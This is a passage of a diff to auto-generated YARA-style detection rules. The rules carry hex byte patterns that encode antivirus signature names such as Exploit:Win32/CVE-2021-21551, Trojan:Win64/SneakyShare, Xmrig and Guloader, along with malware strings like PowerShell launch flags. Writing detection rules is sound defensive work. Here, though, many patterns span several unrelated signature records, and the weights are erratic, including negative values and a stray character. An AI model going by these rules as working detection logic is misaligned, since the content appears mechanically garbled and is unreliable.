6e 67 73 72 61 61 64 73 2e 65 78 65 00 00 78 87 00 00 03 00 03 00 03 00 21 23 53 4c 46 3a 57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 48 00 01 00 19 03 48 89 c2 48 8b 85 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 29 03 48 89 54 24 } //25974 + $a_55_2 = {48 89 54 24 20 41 b9 90 01 04 41 b8 90 01 04 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 01 00 15 03 48 8b 45 f8 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 00 00 78 87 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 31 2d 32 31 35 35 31 2e 41 00 01 00 0e 81 01 5c 5c 2e 5c 44 42 55 74 69 6c 5f 32 5f 33 01 00 24 81 01 4f 70 65 6e 65 64 20 61 20 } //18472 condition: - ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25974+(#a_61_2 & 1)*25701) >=3 + ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25974+(#a_55_2 & 1)*18472) >=3 } -rule _InfrastructureShared_8944{ +rule _InfrastructureShared_9496{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " + + strings : + $a_46_0 = {57 69 6e 36 34 2f 48 75 6e 74 69 6e 67 53 6e 61 6b 65 73 2e 48 00 01 00 19 03 48 89 c2 48 8b 85 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 48 89 85 90 00 01 00 29 03 48 89 54 24 28 48 8b 55 10 48 89 54 24 20 41 b9 90 01 04 41 b8 } //21283 + $a_ba_1 = {01 04 48 89 } //400 + $a_05_2 = {90 01 04 ff d0 90 00 01 00 15 03 48 8b 45 f8 ba 90 01 04 48 89 c1 48 8b 05 90 01 04 ff d0 90 00 00 00 78 87 00 00 03 00 03 00 03 00 21 23 54 45 4c 3a 45 78 70 6c 6f 69 74 3a 57 69 6e 33 32 2f 43 56 45 2d 32 30 32 31 2d 32 31 35 35 31 2e 41 00 01 00 0e 81 01 5c 5c 2e 5c 44 42 55 74 69 6c 5f 32 5f 33 01 00 24 81 01 4f 70 65 6e 65 64 20 61 20 68 61 6e 64 6c 65 20 74 6f 20 44 42 55 74 69 6c 5f 32 5f 33 20 64 72 69 76 } //18625 + condition: + ((#a_46_0 & 1)*21283+(#a_ba_1 & 1)*400+(#a_05_2 & 1)*18625) >=3 + +} +rule _InfrastructureShared_9497{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95643,7 +101659,7 @@ rule _InfrastructureShared_8944{ ((#a_4c_0 & 1)*21539+(#a_6f_1 & 1)*8293+(#a_01_2 & 1)*-28603) >=3 } -rule _InfrastructureShared_8945{ +rule _InfrastructureShared_9498{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95654,7 +101670,7 @@ rule _InfrastructureShared_8945{ ((#a_4c_0 & 1)*21539+(#a_90_2 & 1)*-29372) >=3 } -rule _InfrastructureShared_8946{ +rule _InfrastructureShared_9499{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 03 00 21 " @@ -95665,7 +101681,7 @@ rule _InfrastructureShared_8946{ ((#a_4c_0 & 1)*21539+(#a_e8_1 & 1)*257) >=3 } -rule _InfrastructureShared_8947{ +rule _InfrastructureShared_9500{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -95678,7 +101694,7 @@ rule _InfrastructureShared_8947{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*24936+(#a_6f_2 & 1)*25089+(#a_2e_3 & 1)*25956) >=3 } -rule _InfrastructureShared_8948{ +rule _InfrastructureShared_9501{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -95691,7 +101707,7 @@ rule _InfrastructureShared_8948{ ((#a_46_0 & 1)*16675+(#a_65_1 & 1)*25710+(#a_69_2 & 1)*28265+(#a_c8_3 & 1)*-15989) >=3 } -rule _InfrastructureShared_8949{ +rule _InfrastructureShared_9502{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,03 00 03 00 04 00 21 " @@ -95704,7 +101720,7 @@ rule _InfrastructureShared_8949{ ((#a_77_0 & 1)*19491+(#a_33_1 & 1)*-12351+(#a_00_2 & 1)*4+(#a_77_3 & 1)*16675) >=3 } -rule _InfrastructureShared_8950{ +rule _InfrastructureShared_9503{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 03 00 04 00 21 " @@ -95717,7 +101733,7 @@ rule _InfrastructureShared_8950{ ((#a_77_0 & 1)*16675+(#a_65_1 & 1)*24903+(#a_3b_2 & 1)*12305+(#a_03_3 & 1)*2) >=3 } -rule _InfrastructureShared_8951{ +rule _InfrastructureShared_9504{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 02 00 21 " @@ -95728,7 +101744,7 @@ rule _InfrastructureShared_8951{ ((#a_46_0 & 1)*16675+(#a_6c_1 & 1)*2096) >=4 } -rule _InfrastructureShared_8952{ +rule _InfrastructureShared_9505{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 03 00 21 " @@ -95740,7 +101756,7 @@ rule _InfrastructureShared_8952{ ((#a_46_0 & 1)*16675+(#a_33_1 & 1)*11618+(#a_4c_2 & 1)*8993) >=4 } -rule _InfrastructureShared_8953{ +rule _InfrastructureShared_9506{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -95752,7 +101768,7 @@ rule _InfrastructureShared_8953{ ((#a_46_0 & 1)*16675+(#a_00_1 & 1)*111+(#a_8b_2 & 1)*6288) >=4 } -rule _InfrastructureShared_8954{ +rule _InfrastructureShared_9507{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -95760,38 +101776,49 @@ rule _InfrastructureShared_8954{ $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 33 32 2f 5a 62 6f 74 2e 53 49 42 44 31 35 21 4d 54 42 00 01 00 13 02 8b d8 57 53 53 90 18 51 8b 0f 90 18 8b 06 32 c1 c3 90 00 01 00 0f 02 51 8b 0f e8 90 01 04 90 18 88 07 46 c3 90 00 01 00 13 02 51 } //16675 $a_90_1 = {04 e8 90 01 04 47 4b 8b c3 59 c3 90 00 01 00 17 02 8b d8 57 53 53 e8 90 01 04 85 c0 90 18 5b 2b f3 53 90 18 49 75 90 00 00 00 78 87 00 00 04 00 04 00 04 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6e 65 61 6b 79 53 68 61 72 65 2e 41 21 64 68 61 00 01 00 23 01 6d 61 69 6e 2e 28 2a 72 73 73 70 72 6f 6f 66 72 65 6e 6f 76 61 74 69 6f 6e 73 29 2e 65 78 65 63 75 74 65 01 00 0a 01 2d 4e 6f 50 72 6f 66 69 6c 65 01 00 0f 01 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 01 00 0e 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 53 6f 6c 69 6d 62 61 2e 42 00 01 00 14 01 44 00 6f 00 77 00 } //3979 $a_00_2 = {6f 00 61 00 64 00 4d 00 52 00 01 00 19 01 45 6e 61 62 6c 65 44 69 73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 17 01 73 65 74 5f 44 69 73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 0c 01 53 6f 6c 69 6d 62 61 2e 4e 65 74 00 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 } //110 - $a_61_3 = {65 72 2e 4b 4a 48 4b 31 32 33 21 4d 54 42 00 01 00 0d 81 01 62 65 73 69 67 74 69 67 65 6c 73 65 73 01 00 11 81 01 6b 6f 6e 6e 65 6b 73 69 74 65 74 20 6c 6f 73 65 73 01 00 10 81 01 68 6a 65 72 74 65 6b 6c 61 70 70 65 72 6e 65 73 01 00 1b 81 01 76 61 72 72 69 75 73 20 73 63 61 72 63 69 74 79 20 61 66 74 65 6e 73 62 6f 72 64 00 00 78 } //27765 + $a_61_3 = {65 72 2e 47 4e 5a 30 31 21 4d 54 42 00 01 00 0b 81 01 61 76 65 72 74 65 72 65 6e 64 65 01 00 14 81 01 6e 75 6d 6d 65 72 65 72 69 6e 67 73 6d 65 74 6f 64 65 6e 73 01 00 0c 81 01 70 6c 61 6e 65 72 6e 65 2e 65 78 65 01 00 20 81 01 64 69 73 6c 6f 63 61 74 65 20 73 74 65 76 65 64 6f 72 69 6e 67 73 20 73 75 6d 6c 6f 67 67 65 73 00 00 78 } //27765 condition: ((#a_46_0 & 1)*16675+(#a_90_1 & 1)*3979+(#a_00_2 & 1)*110+(#a_61_3 & 1)*27765) >=4 } -rule _InfrastructureShared_8955{ +rule _InfrastructureShared_9508{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_46_0 = {54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 53 6e 65 61 6b 79 53 68 61 72 65 2e 41 21 64 68 61 00 01 00 23 01 6d 61 69 6e 2e 28 2a 72 73 73 70 72 6f 6f 66 72 65 6e 6f 76 61 74 69 6f 6e 73 29 2e 65 78 65 63 75 74 65 01 00 0a 01 2d 4e } //16675 $a_6f_1 = {69 6c 65 01 00 0f 01 2d 4e 6f 6e 49 6e 74 65 72 61 63 74 69 76 65 01 00 0e 01 70 6f 77 65 72 73 68 65 6c 6c 2e 65 78 65 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 53 6f 6c 69 6d 62 61 2e 42 00 01 00 14 01 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 4d 00 52 00 01 00 19 01 45 6e 61 } //20591 - $a_44_2 = {73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 17 01 73 65 74 5f 44 69 73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 0c 01 53 6f 6c 69 6d 62 61 2e 4e 65 74 00 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 4b 31 32 33 } //27746 - $a_42_3 = {01 00 0d 81 01 62 65 73 69 67 74 69 67 65 6c 73 65 73 01 00 11 81 01 6b 6f 6e 6e 65 6b 73 69 74 65 74 20 6c 6f 73 65 73 01 00 10 81 01 68 6a 65 72 74 65 6b 6c 61 70 70 65 72 6e 65 73 01 00 1b 81 01 76 61 72 72 69 75 73 20 73 63 61 72 63 69 74 79 20 61 } //19745 + $a_44_2 = {73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 17 01 73 65 74 5f 44 69 73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 0c 01 53 6f 6c 69 6d 62 61 2e 4e 65 74 00 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 5a 30 31 21 4d } //27746 condition: - ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20591+(#a_44_2 & 1)*27746+(#a_42_3 & 1)*19745) >=4 + ((#a_46_0 & 1)*16675+(#a_6f_1 & 1)*20591+(#a_44_2 & 1)*27746) >=4 } -rule _InfrastructureShared_8956{ +rule _InfrastructureShared_9509{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_54_0 = {3a 50 72 6f 67 72 61 6d 3a 57 69 6e 33 32 2f 53 6f 6c 69 6d 62 61 2e 42 00 01 00 14 01 44 00 6f 00 77 00 6e 00 6c 00 6f 00 61 00 64 00 4d 00 52 00 01 00 19 01 45 6e 61 62 6c 65 44 69 73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 17 01 73 } //18467 - $a_44_1 = {73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 0c 01 53 6f 6c 69 6d 62 61 2e 4e 65 74 00 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 4b 31 32 33 21 4d 54 42 00 01 00 0d 81 01 62 65 73 69 67 74 69 67 65 6c 73 } //29797 - $a_00_2 = {11 } //29541 - $a_6f_3 = {6e 65 6b 73 69 74 65 74 20 6c 6f 73 65 73 01 00 10 81 01 68 6a 65 72 74 65 6b 6c 61 70 70 65 72 6e 65 73 01 00 1b 81 01 76 61 72 72 69 75 73 20 73 63 61 72 63 69 74 79 20 61 66 74 65 6e 73 62 6f 72 64 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 42 56 31 32 } //385 + $a_44_1 = {73 61 62 6c 65 43 6c 6f 73 65 42 75 74 74 6f 6e 00 01 00 0c 01 53 6f 6c 69 6d 62 61 2e 4e 65 74 00 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 5a 30 31 21 4d 54 42 00 01 00 0b 81 01 61 76 65 72 74 65 72 65 6e 64 65 01 00 } //29797 + $a_6e_2 = {6d } //-32492 m + $a_65_3 = {69 6e 67 73 6d 65 74 6f 64 65 6e 73 01 00 0c 81 01 70 6c 61 6e 65 72 6e 65 2e 65 78 65 01 00 20 81 01 64 69 73 6c 6f 63 61 74 65 20 73 74 65 76 65 64 6f 72 69 6e 67 73 20 73 75 6d 6c 6f 67 67 65 73 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 4b 31 32 33 21 4d 54 42 00 01 00 } //25965 condition: - ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*29797+(#a_00_2 & 1)*29541+(#a_6f_3 & 1)*385) >=4 + ((#a_54_0 & 1)*18467+(#a_44_1 & 1)*29797+(#a_6e_2 & 1)*-32492+(#a_65_3 & 1)*25965) >=4 } -rule _InfrastructureShared_8957{ +rule _InfrastructureShared_9510{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " + + strings : + $a_54_0 = {3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 47 4e 5a 30 31 21 4d 54 42 00 01 00 0b 81 01 61 76 65 72 74 65 72 65 6e 64 65 01 00 14 81 01 6e 75 6d 6d 65 72 65 72 69 6e 67 73 6d 65 74 6f 64 65 6e 73 01 00 0c 81 01 70 6c 61 6e 65 72 6e 65 2e 65 78 } //18467 + $a_73_2 = {6f 63 61 74 65 20 73 74 65 76 65 64 6f 72 69 6e 67 73 20 73 75 6d 6c 6f 67 67 65 73 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4a 48 4b 31 32 33 21 4d 54 42 00 01 00 0d 81 01 62 65 73 69 67 74 69 67 65 6c 73 65 73 01 00 11 81 01 6b 6f 6e 6e 65 6b 73 69 } //25601 + $a_20_3 = {6f 73 65 73 01 00 10 81 01 68 6a 65 72 74 65 6b 6c 61 70 70 65 72 6e 65 73 01 00 1b 81 01 76 61 72 72 69 75 73 20 73 63 61 72 63 69 74 79 20 61 66 74 65 6e 73 62 6f 72 64 00 00 78 87 00 00 04 00 04 00 04 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 4e 42 56 31 32 33 21 4d 54 42 00 01 00 09 81 01 72 65 6e 6f 74 69 63 65 } //25972 + condition: + ((#a_54_0 & 1)*18467+(#a_73_2 & 1)*25601+(#a_20_3 & 1)*25972) >=4 + +} +rule _InfrastructureShared_9511{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -95804,7 +101831,7 @@ rule _InfrastructureShared_8957{ ((#a_54_0 & 1)*18467+(#a_6e_1 & 1)*25968+(#a_69_2 & 1)*25972+(#a_79_3 & 1)*385) >=4 } -rule _InfrastructureShared_8958{ +rule _InfrastructureShared_9512{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -95816,7 +101843,7 @@ rule _InfrastructureShared_8958{ ((#a_54_0 & 1)*18467+(#a_74_1 & 1)*25959+(#a_00_3 & 1)*0) >=4 } -rule _InfrastructureShared_8959{ +rule _InfrastructureShared_9513{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -95829,7 +101856,7 @@ rule _InfrastructureShared_8959{ ((#a_54_0 & 1)*18467+(#a_6f_1 & 1)*21280+(#a_2c_2 & 1)*25954+(#a_69_3 & 1)*28524) >=4 } -rule _InfrastructureShared_8960{ +rule _InfrastructureShared_9514{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -95842,7 +101869,7 @@ rule _InfrastructureShared_8960{ ((#a_54_0 & 1)*18467+(#a_6c_1 & 1)*25956+(#a_61_2 & 1)*27760+(#a_6f_3 & 1)*25938) >=4 } -rule _InfrastructureShared_8961{ +rule _InfrastructureShared_9515{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " @@ -95855,61 +101882,87 @@ rule _InfrastructureShared_8961{ ((#a_54_0 & 1)*18467+(#a_6b_1 & 1)*29441+(#a_01_2 & 1)*4864+(#a_66_3 & 1)*4864) >=4 } -rule _InfrastructureShared_8962{ +rule _InfrastructureShared_9516{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_41_0 = {42 6c 6f 63 6b 3a 59 54 44 56 69 64 65 6f 44 6f 77 6e 6c 6f 61 64 00 01 00 18 80 01 52 65 73 6f 75 72 63 65 73 5c 4f 66 66 65 72 50 61 67 65 2e 68 74 6d 6c 01 00 0c 80 01 42 75 6e 64 6c 65 43 6f 6e 66 69 67 01 00 13 80 01 4f 66 66 65 72 53 65 72 76 69 63 } //20515 $a_4c_1 = {64 6c 6c 01 00 17 80 01 46 72 65 65 20 59 6f 75 54 75 62 65 20 44 6f 77 6e 6c 6f 61 64 65 72 00 00 78 87 00 00 04 00 04 00 04 00 21 23 54 45 4c 3a 57 69 6e 36 34 2f 4b 6e 69 67 68 74 48 61 77 6b 2e 41 21 4d 54 42 00 01 00 0b 01 } //16997 - $a_c1_2 = {08 0f be c0 03 c8 01 00 14 01 c1 e9 02 33 ca 66 d1 e8 d1 e9 33 ca c1 e9 02 33 ca c1 e2 0f 01 00 13 01 66 03 d2 66 33 d1 66 c1 e2 02 66 33 d1 66 23 d0 0f b7 c1 01 00 20 02 40 53 48 83 ec 40 48 83 64 24 30 00 48 8d 90 01 03 45 8b c9 48 8b da 48 89 44 24 20 ff 15 90 00 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 4d 52 33 21 4d 54 42 00 01 00 15 80 01 73 70 61 72 6b 2e 65 78 65 74 68 65 77 6f 72 6c 64 2e 65 78 65 01 00 09 80 01 6f 70 65 72 61 2e 65 78 65 01 00 0d 80 01 5a 68 75 44 6f 6e 67 46 61 6e 67 59 75 01 } //-184 - $a_01_3 = {45 61 73 74 42 72 6f 77 73 65 72 2e 65 78 65 01 00 0a 80 01 42 75 6e 64 6c 65 42 69 6e 64 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 56 21 4d 54 42 00 01 00 0d 80 01 4f 53 59 5c 65 72 42 56 74 2e 70 64 62 01 00 0e 80 01 69 70 56 65 72 69 66 69 63 61 74 69 6f 6e 01 00 09 80 01 65 72 42 56 74 2e 65 78 } //3840 + $a_c1_2 = {08 0f be c0 03 c8 01 00 14 01 c1 e9 02 33 ca 66 d1 e8 d1 e9 33 ca c1 e9 02 33 ca c1 e2 0f 01 00 13 01 66 03 d2 66 33 d1 66 c1 e2 02 66 33 d1 66 23 d0 0f b7 c1 01 00 20 02 40 53 48 83 ec 40 48 83 64 24 30 00 48 8d 90 01 03 45 8b c9 48 8b da 48 89 44 24 20 ff 15 90 00 00 00 78 87 00 00 05 00 05 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 6d 72 69 67 2e 42 48 21 4d 54 42 00 02 00 27 01 41 ff d4 44 8d 56 01 31 d2 44 0f b7 0f 41 f7 f2 48 83 ef 02 48 8d 04 53 0f b7 10 66 89 57 02 66 44 89 08 83 ee 01 75 02 00 1d 01 53 41 4e 44 42 4f 58 00 56 49 52 55 53 } //-184 + $a_4c_3 = {41 52 45 00 56 49 52 54 55 41 4c 01 00 0e 01 25 73 5c 74 65 6d 70 5f 25 64 2e 64 61 74 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 } //19712 condition: - ((#a_41_0 & 1)*20515+(#a_4c_1 & 1)*16997+(#a_c1_2 & 1)*-184+(#a_01_3 & 1)*3840) >=4 + ((#a_41_0 & 1)*20515+(#a_4c_1 & 1)*16997+(#a_c1_2 & 1)*-184+(#a_4c_3 & 1)*19712) >=4 } -rule _InfrastructureShared_8963{ +rule _InfrastructureShared_9517{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,04 00 04 00 04 00 21 " strings : $a_4c_0 = {57 69 6e 36 34 2f 4b 6e 69 67 68 74 48 61 77 6b 2e 41 21 4d 54 42 00 01 00 0b 01 48 ff c2 c1 c9 08 0f be c0 03 c8 01 00 14 01 c1 e9 02 33 ca 66 d1 e8 d1 e9 33 ca c1 e9 02 33 ca c1 e2 0f 01 00 13 01 66 03 d2 } //21539 - $a_66_1 = {e2 02 66 33 d1 66 23 d0 0f b7 c1 01 00 20 02 40 53 48 83 ec 40 48 83 64 24 30 00 48 8d 90 01 03 45 8b c9 48 8b da 48 89 44 24 20 ff 15 90 00 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 4d 52 33 21 4d 54 42 00 01 00 15 80 01 73 70 61 72 6b 2e 65 78 65 74 68 65 77 6f 72 6c 64 2e 65 78 65 01 00 09 80 01 6f 70 65 72 61 2e 65 78 65 01 00 0d 80 01 5a 68 75 44 6f 6e 67 46 61 6e 67 59 75 01 00 0f 80 01 45 61 73 74 42 72 6f 77 73 65 72 2e 65 78 65 01 00 0a 80 01 42 75 6e 64 6c 65 42 69 6e 64 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 } //13158 - $a_53_2 = {4c 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 56 21 4d 54 42 00 01 00 0d 80 01 4f 53 59 5c 65 72 42 56 74 2e 70 64 62 01 00 0e 80 01 69 70 56 65 72 69 66 69 63 61 74 69 6f 6e 01 00 09 80 01 65 72 42 56 74 2e 65 78 65 01 00 18 80 01 53 } //14958 - $a_69_3 = {20 4c 6f 61 64 65 72 5c 4c 6f 61 64 65 72 2e 65 78 65 01 00 06 80 01 4c 6f 61 64 65 72 00 00 78 87 00 00 05 00 05 00 05 00 21 23 48 53 54 52 3a 57 69 6e 33 32 2f 47 75 6c 6f 61 64 65 72 2e 4b 55 55 50 31 32 33 21 4d 54 42 00 01 00 06 81 01 65 70 69 74 72 61 01 00 0e 81 01 70 72 6f 67 72 61 6d 73 74 75 6d 70 65 6e 01 00 16 81 01 73 74 72 73 74 65 } //24948 + $a_66_1 = {e2 02 66 33 d1 66 23 d0 0f b7 c1 01 00 20 02 40 53 48 83 ec 40 48 83 64 24 30 00 48 8d 90 01 03 45 8b c9 48 8b da 48 89 44 24 20 ff 15 90 00 00 00 78 87 00 00 05 00 05 00 03 00 21 23 48 53 54 52 3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 6d 72 69 67 2e 42 48 21 4d 54 42 00 02 00 27 01 41 ff d4 44 8d 56 01 31 d2 44 0f b7 0f 41 f7 f2 48 83 ef 02 48 8d 04 53 0f b7 10 66 89 57 02 66 44 89 08 83 ee 01 75 02 00 1d 01 53 41 4e 44 42 4f 58 00 56 49 52 55 53 00 4d 41 4c 57 41 52 45 00 56 49 52 54 55 41 4c 01 00 0e 01 25 73 5c 74 65 6d 70 5f 25 64 2e 64 61 74 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 } //13158 + $a_32_2 = {53 6f 66 74 63 6e 61 70 70 2e 4d 52 33 21 4d 54 42 00 01 00 15 80 01 73 70 61 72 6b 2e 65 78 65 74 68 65 77 6f 72 6c 64 2e 65 78 65 01 00 09 80 01 6f 70 } //28265 + $a_2e_3 = {78 65 01 00 0d 80 01 5a 68 75 44 6f 6e 67 46 61 6e 67 59 75 01 00 0f 80 01 45 61 73 74 42 72 6f 77 73 65 72 2e 65 78 65 01 00 0a 80 01 42 75 6e 64 6c 65 42 69 6e 64 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 } //29285 condition: - ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*13158+(#a_53_2 & 1)*14958+(#a_69_3 & 1)*24948) >=4 + ((#a_4c_0 & 1)*21539+(#a_66_1 & 1)*13158+(#a_32_2 & 1)*28265+(#a_2e_3 & 1)*29285) >=4 } -rule _InfrastructureShared_8964{ +rule _InfrastructureShared_9518{ + meta: + description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 03 00 21 " + + strings : + $a_54_0 = {3a 54 72 6f 6a 61 6e 3a 57 69 6e 36 34 2f 58 6d 72 69 67 2e 42 48 21 4d 54 42 00 02 00 27 01 41 ff d4 44 8d 56 01 31 d2 44 0f b7 0f 41 f7 f2 48 83 ef 02 48 8d 04 53 0f b7 10 66 89 57 02 66 44 89 08 83 ee 01 75 02 00 1d 01 53 41 4e 44 42 4f 58 00 56 } //18467 + $a_53_1 = {4d 41 4c 57 41 52 45 00 56 49 52 54 55 41 4c 01 00 0e 01 25 73 5c 74 65 6d 70 5f 25 64 2e 64 61 74 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 4d 52 33 21 4d 54 42 00 01 00 15 80 01 73 } //21065 + $a_6b_2 = {65 78 65 74 68 65 77 6f 72 6c 64 2e 65 78 65 01 00 09 80 01 6f 70 65 72 61 2e 65 78 65 01 00 0d 80 01 5a 68 75 44 6f 6e 67 46 61 6e 67 59 75 01 00 0f 80 01 45 61 73 74 42 72 6f 77 73 65 72 2e 65 78 65 01 00 0a 80 01 42 75 6e 64 6c 65 42 69 6e 64 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f } //24944 + condition: + ((#a_54_0 & 1)*18467+(#a_53_1 & 1)*21065+(#a_6b_2 & 1)*24944) >=5 + +} +rule _InfrastructureShared_9519{ meta: description = "!InfrastructureShared,SIGNATURE_TYPE_PEHSTR_EXT,05 00 05 00 05 00 21 " strings : $a_46_0 = {50 55 41 3a 57 69 6e 33 32 2f 53 6f 66 74 63 6e 61 70 70 2e 4d 52 33 21 4d 54 42 00 01 00 15 80 01 73 70 61 72 6b 2e 65 78 65 74 68 65 77 6f 72 6c 64 2e 65 78 65 01 00 09 80 01 6f 70 65 72 61 2e 65 78 65 01 00 0d 80 01 5a 68 75 } //16675 $a_67_1 = {61 6e 67 59 75 01 00 0f 80 01 45 61 73 74 42 72 6f 77 73 65 72 2e 65 78 65 01 00 0a 80 01 42 75 6e 64 6c 65 42 69 6e 64 00 00 78 87 00 00 05 00 05 00 05 00 21 23 41 4c 46 3a 54 72 6f 6a 61 6e 3a 4d 53 49 4c 2f 44 6f 77 6e 6c 6f 61 64 65 72 2e 53 56 21 4d 54 42 00 01 00 0d 80 01 4f 53 59 5c 65 72 42 56 74 2e 70 64 62 01 00 0e 80 } //28484 - $a_56_2 = {72 69 66 69 63 61 74 69 6f 6e 01 00 09 80 01 65 